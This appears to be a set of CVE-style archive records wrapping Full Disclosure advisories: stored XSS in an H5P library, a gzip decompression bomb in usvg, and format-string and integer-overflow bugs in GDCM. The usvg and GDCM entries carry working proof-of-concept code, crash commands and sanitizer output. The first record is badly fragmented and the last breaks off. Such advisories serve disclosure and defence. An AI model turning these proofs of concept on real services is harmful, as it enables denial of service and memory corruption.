[{"containers":{"cna":{"affected":[{"product":"SCHUTZWERK-SA-2024-007","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"David Brown via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\n\nMetadata\n========\n\n- - Affected product: h5p-nodejs-library\n\n the time of publication)\n- - Vendor: Lumi Education UG\n- - Problem type(s):\n\n - CWE-20 Improper Input Validation\n- - CVE ID: CVE-2025-7062\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-7062\n- - CVSS 4.0 score: 5.2\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-007/\n\nDetails\n=======\n\n\ncontent/content.json file.\n\n\ncontent:\n\n\n\n \n \n \n\n\n\n\ncontent/content.json as follows:\n\n{\n \"media\": {\n \"type\": {\n \"params\": {\n \"decorative\": false,\n \"contentName\": \"Image\",\n \"expandImage\": \"Expand Image\",\n \"minimizeImage\": \"Minimize Image\",\n \"file\": {\n \"path\": \"images/circle.svg\",\n \"mime\": \"image/svg+xml\",\n[...]\n\n\n\nwindow.\n\nRisk\n====\n\n\nadditional roles to existing ones.\n\nSolution/Mitigation\n===================\n\n\nallowed extension, such as XML, and have it executed.\n\n\nfrom uploaded files.\n\nTimeline\n========\n\n- - 2024-10-23 Vulnerability discovered\n- - 2024-11-08 Initial contact attempt, email sent to c@lumi.education\n\n- - 2024-11-28 Third contact attempt via a message in the Lumi Slack channel\n\n framework in their project\n- - 2025-03-07 Release of h5p-nodejs-library v10.0.4\n\n excluded.\n\n with XSS content that is executed after loading\n\n received a response the same day\n\n- - 2025-09-23 Exchange with the developer on details of the fix\n- - 2025-09-24 Exchange with the developer on details of the fix\n\n received.\n\n received.\n\n received.\n\n reasons.\n- - 2026-09-09 Advisory released\n\nCredits\n=======\n\nThe vulnerability was discovered by Florian Schmid of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmqg+lcaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtd7hAAt/fhW+fVFc5JlaevO/pu\nOlVkBwTQjZcX3qxZRgAVbV0HuwLPh/YTgiCLjidVfAIzVJbQSU0eDKrt3G4t82Te\nrhXkY0ctzwOGya3nIwEI/I/QpKH/W75NDRL2ewI7iiJB8guQWBZzb7cFSAOoeNMi\nnUkdo35BwqNr+TccXjNVwnlsXHTdW1RbzIwE9yUHujjT7vkUNcoDftPoguBjRsG1\nOSlcjqDvMPNkApQiXWniwz0wY/6WYQgt96RB96Wl0uJLMazLgtgVgso7rcZW3Sjd\npi1yHYD3f+/ch9iPQBFq0SIcnH+kJC2oNXypM0VDjtCdNt+KveiBnbJsl9zSTdHj\nylllLxE58bkVuONcInxHeo6MSRBGLAJ0Hiq1uHFeQuya6L53Lr5Nb65IVQJe3f2T\nx56Gwhs+xhGr/hd0k/CmaRXxApFm8HPLr1M3uCPrJXzT6THBZxcuWcJr9WXUj1ZT\nWNBHlf06aK8SWHtVDugeTJK38N/Esetc9Z8XY1PdiVp4ab0qJMi9w4YWtJgeeL2d\nTbIObBSI0i9OR1GdrXvVKB6F/PvpuTHupCMR+2yI/mMEzb2KgDQiZpEqh1qOy01u\nB+7bH2qwlnZrz6SL0vfZCwZ/KJbKf+/hSq+3V4XcK415cQsUZbT07y5qxUZIK/wE\nnpRisQyYZ+Z+QaMWsSxMf7c=\n=pVF/\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGeschäftsführer / Managing Directors:\nJakob Pietzka, Michael Schäfer\n\nAmtsgericht Ulm / HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-20","description":"CWE-20","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:34Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/41"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/41"},{"url":"http://www.w3.org/2000/svg\""},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-7062"},{"url":"https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-007/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/41"],"discovery":"EXTERNAL"},"title":"SCHUTZWERK-SA-2024-007: Stored Cross-Site Scripting via file upload in H5P module (h5p-nodejs-library) of Lumi Education","x_gcve":[{"recordType":"reference","relationships":[{"destId":"CVE-2025-7062","type":"related"}],"vulnId":"GCVE-1988-2026-0440","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/41","automated":true,"contentSha256":"3ecef1f5be0f8be57ccf72de8b9866918875c1fbaf3731e33c88fa3d82889af8","evidenceScore":8,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/41","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-09T06:21:46Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:34Z","dateUpdated":"2026-10-02T04:57:34Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0440"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"usvg SVGZ decompression","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Khashayar Fereidani"}],"descriptions":[{"lang":"en","value":"# usvg SVGZ decompression bomb in `Tree::from_data`\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-18\n**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata\n**Contact:** https://fereidani.com/contact\n\n## Description\n\n`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic\nbytes at the start of the input and decompresses the data before parsing it:\n\n```rust\n// crates/usvg/src/parser/mod.rs:109\nlet data = decompress_svgz(data)?;\nlet text = std::str::from_utf8(&data).map_err(|_| Error::NotAnUtf8Str)?;\nSelf::from_str(text, opt)\n```\n\n```rust\n// crates/usvg/src/parser/mod.rs:180\npub fn decompress_svgz(data: &[u8]) -> Result, Error> {\n use std::io::Read;\n\n let mut decoder = flate2::read::GzDecoder::new(data);\n let mut decoded = Vec::with_capacity(data.len() * 2);\n decoder\n .read_to_end(&mut decoded)\n .map_err(|_| Error::MalformedGZip)?;\n Ok(decoded)\n}\n```\n\n`read_to_end` grows `decoded` with no cap on the output size, and the whole\nbuffer is materialized before `from_str` reads the first byte. The attacker\nfully controls the expansion ratio, since gzip reaches roughly 1000:1, so the\nsize of the input places no bound on the size of the allocation. A payload of\na few hundred kilobytes can request several gigabytes of memory, and the parse\nerror only fires after the entire bomb is already in memory.\n\n## Proof of concept\n\nCreate a new project with `flate2` and `usvg`:\n\n```toml\n[dependencies]\nflate2 = \"1\"\nusvg = \"0.48\"\n```\n\nBuild a gzip bomb of the desired size and hand it to `Tree::from_data`:\n\n```rust\nuse flate2::write::GzEncoder;\nuse flate2::Compression;\nuse std::io::Write;\n\nfn main() {\n let mib: usize = std::env::args()\n .nth(1)\n .and_then(|s| s.parse().ok())\n .unwrap_or(256);\n let mut enc = GzEncoder::new(Vec::new(), Compression::best());\n let chunk = [0u8; 65536];\n for _ in 0..(mib << 20) / 65536 {\n enc.write_all(&chunk).unwrap();\n }\n let bomb = enc.finish().unwrap();\n println!(\"svgz input {} bytes, expands to {mib} MiB\", bomb.len());\n match usvg::Tree::from_data(&bomb, &usvg::Options::default()) {\n Ok(_) => println!(\"parsed\"),\n Err(e) => println!(\"parse error after full decompression: {e:?}\"),\n }\n}\n```\n\nRun with `cargo run --release 4096`. Observed output:\n\n```text\nsvgz input 4171638 bytes, expands to 4096 MiB\nparse error after full decompression:\nParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))\n```\n\nPeak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The\ndecompression happens before any validation, so the bytes do not even need to\nbe a valid SVG.\n\n## Impact\n\nDecompression bomb causing memory exhaustion and an OOM kill, denying service\nto any application that passes attacker-controlled SVG bytes to\n`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG\nupload or conversion endpoints that use usvg are typically reachable before\nauthentication.\n\n## Solution\n\nBound the decompressed output inside `decompress_svgz` instead of trusting the\ncompressed input. Read through `io::Take` with a limit one byte above the\ncap, so a stream that reaches the limit can be rejected instead of silently\ntruncated:\n\n```rust\nconst MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;\n\nlet mut decoder = flate2::read::GzDecoder::new(data);\nlet mut decoded = Vec::with_capacity(data.len() * 2);\ndecoder\n .take(MAX_SVGZ_SIZE + 1)\n .read_to_end(&mut decoded)\n .map_err(|_| Error::MalformedGZip)?;\nif decoded.len() as u64 > MAX_SVGZ_SIZE {\n return Err(Error::MalformedGZip);\n}\n```\n\nComparable libraries bound the decompressed or parsed output inside the\nlibrary itself:\n\n- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`\n option (added in v12.19.0 and v14.5.0).\n- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default\n 89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises\n `DecompressionBombWarning` / `DecompressionBombError` beyond it.\n- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus\n `png_set_chunk_malloc_max` for bounded allocation.\n- librsvg documents no built-in memory or CPU limits and pushes bounding to\n the caller, but still caps parsed XML elements at 1 million. usvg applies\n neither an output-size cap nor an element cap.\n\nUntil a fix lands, applications can disable the `svgz` feature and decompress\nuploaded files themselves with a bounded reader, calling `Tree::from_str` on\nthe verified plain SVG text.\n\n## Timeline\n\n- 2026-08-25: Vulnerability reported privately to the maintainer.\n- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the\n current main branch are still affected.\n\n## References\n\n- [linebender/resvg -\ncrates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)\n- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)\n- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)\n- [CWE-409: Improper Handling of Highly Compressed Data (Data\nAmplification)](https://cwe.mitre.org/data/definitions/409.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-409","description":"CWE-409","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:34Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/73"},{"url":"https://cwe.mitre.org/data/definitions/409.html"},{"url":"https://fereidani.com/contact"},{"url":"https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata"},{"url":"https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://nodejs.org/api/zlib.html"},{"url":"https://pillow.readthedocs.io/en/stable/reference/ImageFile.html"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/73"],"discovery":"EXTERNAL"},"title":"usvg SVGZ decompression bomb in `Tree::from_data`","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0439","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73","automated":true,"contentSha256":"bc3fffb52ec3a509c1ebe187ebeae6c0aff0f3beeefa42a5f6ed06d814f1027c","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/73","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T22:03:22Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:34Z","dateUpdated":"2026-10-02T04:57:34Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0439"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"GDCM (Grassroots DICOM)","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Matthias Deeg via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"Advisory ID: SYSS-2026-071\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Format String (CWE-134)\nRisk Level: Medium\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmFilenameGenerator component, used by the gdcmraw command-line tool\nto generate output filenames for split fragments, is vulnerable to a\nformat string vulnerability. The user-supplied pattern string is used\ndirectly as the format string argument to snprintf() without proper\nvalidation of the format specifiers. Only the count of % characters is\nchecked (exactly one required), but the specifier that follows is not\nvalidated.\n\nAn attacker can supply format specifiers such as \"%n\" to write to arbitrary\nmemory addresses, or \"%s\" to dereference small integers as pointers,\ncausing crashes. Positional parameters like \"%5$x\" can be used to leak\nstack data into generated filenames, enabling information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the FilenameGenerator::Generate() function at\nSource/Common/gdcmFilenameGenerator.cxx:94:\n\n int res = snprintf( internal, internal_len, Pattern.c_str(), i );\n\nThe Pattern string is set by the user via FilenameGenerator::SetPattern().\nIn the gdcmraw command-line tool, the pattern comes directly from the\n- -p/--pattern command-line argument:\n\n // gdcmraw.cxx:150\n pattern = optarg; // user-controlled!\n // gdcmraw.cxx:353\n fg.SetPattern( pattern.c_str() );\n\nThe validation in Generate() only counts % characters and requires\nexactly one but does NOT validate what format specifier follows:\n\n const char *pattern = Pattern.c_str();\n int num_percent = 0;\n while( (pattern = strchr( pattern, '%')) )\n {\n ++pattern;\n ++num_percent;\n }\n if ( num_percent != 1 )\n {\n gdcmDebugMacro( \"No more than one % in string formatting please\" );\n return false;\n }\n\nThis means patterns like \"%s\", \"%x\", \"%5$x\", and \"%n\" all pass validation:\n\n - \"%s\" : treats the loop index i as a char* pointer and attempts to\n dereference it, causing a segmentation fault (information\n disclosure if the dereferenced memory contains readable data)\n - \"%x\" : reads the loop index value as hex and embeds it in the filename\n - \"%5$x\": positional parameter that skips past the provided argument\n to the 5th variadic argument on the stack, leaking arbitrary\n stack data into the generated filename (information disclosure)\n - \"%n\" : interprets the loop index i as an int* and writes the number\n of bytes written so far to that address, enabling arbitrary\n memory writes and potential remote code execution\n\nThe loop index i is of type SizeType (unsigned long / size_t). When\ninterpreted as a pointer, small index values (0, 1, 2, ...) point to\ninvalid memory addresses, causing immediate segmentation faults. The\n\"%n\" specifier is particularly dangerous as it enables write-what-where\nattacks if the attacker can control the stack layout.\n\nThe exploitability of the vulnerable code with the different shown\noptions depends on on the used compiler settings, for example glibc's\nFORTIFY_SOURCE.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the format specifier \"%s\" in combination with a multi-fragment\nDICOM file leads to a segmentation fault as the loop index gets interpreted\nas char* pointer. When the loop counter is 1, snprintft() attempts to\nread from address 0x1.\n\ngdcmraw -i multifrag.dcm -o output_ --split-frags -p '%s'\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-071\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-134","description":"CWE-134","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:34Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/87"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/87"},{"url":"https://creativecommons.org/licenses/by/4.0/deed.en"},{"url":"https://gdcm.sourceforge.net/"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.syss.de/en/responsible-disclosure-policy"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/87"],"discovery":"EXTERNAL"},"title":"[SYSS-2026-071]: GDCM (Grassroots DICOM) - Format String (CWE-134)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0438","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/87","automated":true,"contentSha256":"90c70433a3314393c67116213041c17b14b3ce8295b1d13c8e081ac5dca3a95e","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/87","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T13:33:50Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:34Z","dateUpdated":"2026-10-02T04:57:34Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0438"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"GDCM (Grassroots DICOM)","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Matthias Deeg via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"Advisory ID: SYSS-2026-070\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Integer Overflow (CWE-190)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmstream command-line tool, used for stream-based reading and writing\nof DICOM images, is vulnerable to an integer overflow that leads to a heap\nbuffer overflow.\n\nWhen processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes\nthe embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the\nraw pixel data. The buffer size is computed using 32-bit integer arithmetic\n\nthe product exceeds 2^32, the result silently wraps around, causing an\nundersized buffer allocation. The subsequent pixel data write loop then\noverflows the heap buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the Write_Resolution function at\nApplications/Cxx/gdcmstream.cxx:246-271:\n\n int Dimensions[2];\n {\n int compno = 0;\n opj_image_comp_t *comp = &image->comps[compno];\n Dimensions[0]= comp->w;\n Dimensions[1] = comp->h;\n }\n unsigned long rawlen = Dimensions[0]*Dimensions[1] * image->numcomps;\n char *raw = new char[rawlen];\n\n for (unsigned int compno = 0; compno < (unsigned int)image->numcomps;\n compno++)\n {\n const opj_image_comp_t *comp = &image->comps[compno];\n int w = comp->w;\n int h = comp->h;\n uint8_t *data8 = (uint8_t*)raw + compno;\n for (int i = 0; i < w * h; i++)\n {\n int v = image->comps[compno].data[i];\n *data8 = (uint8_t)v;\n data8 += image->numcomps;\n }\n }\n\nThe variables Dimensions[0] and Dimensions[1] are both 'int' (32-bit signed)\nvalues converted from the OpenJPEG component structure's 'w' and 'h' fields,\nwhich are OPJ_UINT32 (uint32_t). The variable image->numcomps is also\nOPJ_UINT32 (uint32_t).\n\nThe multiplication Dimensions[0]*Dimensions[1] is performed in 'int' (32-bit\nsigned) arithmetic. The result is then multiplied by image->numcomps\n(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int\nand an unsigned int are multiplied, the signed int is converted to unsigned\nint, and the multiplication is performed in 32-bit unsigned integer\narithmetic. The result is only widened to 'unsigned long' (64-bit) on\nassignment to 'rawlen', after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32, producing a\nvalue much smaller than the actual amount of pixel data. The subsequent\nwrite loop then writes w*h pixels for each component, each advancing the\nwrite pointer by numcomps bytes, overflowing the undersized buffer on the\nheap.\n\nThe JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz\n(image dimensions), so values exceeding 65535 (the maximum representable in\nthe DICOM US VR used for Rows and Columns) are valid in a JPEG2000\ncodestream. This means a malicious JPEG2000 codestream embedded in a DICOM\nfile can set component dimensions that trigger the integer overflow without\nneeding to violate DICOM header constraints.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that uses the vulnerable code from Write_Resolution()\nin gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow\ndetected by AddressSanitizer.\n\nThe PoC constructs a real opj_image_t structure with crafted parameters:\n - numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)\n - Component 0: w = 65538, h = 1\n - Components 1..65534: w = 0, h = 0 (inner loop does not execute)\n\nOverflow calculation:\n Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538\n (computed as 'int', fits within INT_MAX, no signed overflow)\n Step 2: 65538 * 65535 = 4,295,032,830\n (computed as uint32_t due to OPJ_UINT32 numcomps)\n uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534\n Buffer allocated (rawlen): 65,534 bytes\n Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes\n (~4.00 GB)\n *** Buffer too small by 4,294,967,296 bytes ***\n\n Loop execution:\n i=0: write at raw[0] — inside buffer (OK)\n i=1: write at raw[65535] — OUTSIDE 65,534-byte buffer!\n\nPoC source code:\n\n #include \n #include \n #include \n #include \n #include \n\n /* Verbatim vulnerable code from gdcmstream.cxx:246-271 */\n static void trigger_vuln_13(opj_image_t *image)\n {\n int Dimensions[2];\n {\n int compno = 0;\n opj_image_comp_t *comp = &image->comps[compno];\n Dimensions[0] = comp->w;\n Dimensions[1] = comp->h;\n }\n unsigned long rawlen =\n Dimensions[0] * Dimensions[1] * image->numcomps;\n char *raw = new char[rawlen];\n\n for (unsigned int compno = 0;\n compno < (unsigned int)image->numcomps; compno++)\n {\n const opj_image_comp_t *comp = &image->comps[compno];\n int w = comp->w;\n int h = comp->h;\n uint8_t *data8 = (uint8_t *)raw + compno;\n for (int i = 0; i < w * h; i++)\n {\n int v = image->comps[compno].data[i];\n *data8 = (uint8_t)v;\n data8 += image->numcomps;\n }\n }\n delete[] raw;\n }\n\n int main()\n {\n /* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */\n trigger_vuln(&image);\n return 0;\n }\n\nTo build and run the PoC:\n\n g++ -fsanitize=address -fno-omit-frame-pointer -g \\\n -I/usr/include/openjpeg-2.5 \\\n pocs/poc.cpp -o poc\n\n $ ./poc\n === PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===\n ...\n --- Triggering vulnerable code (gdcmstream.cxx:246-271) ---\n Calling trigger_vuln(image)...\n\n =================================================================\n ==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address\n 0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0\n sp 0x7ffcb697e7d0\n WRITE of size 1 at 0x7e95d48047ff thread T0\n #0 0x56007861f679 in trigger_vuln\n pocs/poc13_vuln13_real.cpp:122\n #1 0x56007861ff4c in main\n pocs/poc13_vuln13_real.cpp:234\n 0x7e95d48047ff is located 1 bytes after 65534-byte region\n [0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:\n #0 0x7f85d5f2d431 in operator new[](unsigned long)\n #1 0x56007861f46d in trigger_vuln\n pocs/poc13_vuln13_real.cpp:110\n SUMMARY: AddressSanitizer: heap-buffer-overflow\n pocs/poc13_vuln13_real.cpp:122 in trigger_vuln\n ==10171==ABORTING\n\nThe AddressSanitizer output confirms:\n - Buffer allocated: 65,534 bytes (as predicted by the overflow)\n - Write at offset 65,535 (1 byte past the buffer end)\n - Detected as heap-buffer-overflow at line 122 (the\n *data8 = (uint8_t)v; write)\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-070\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 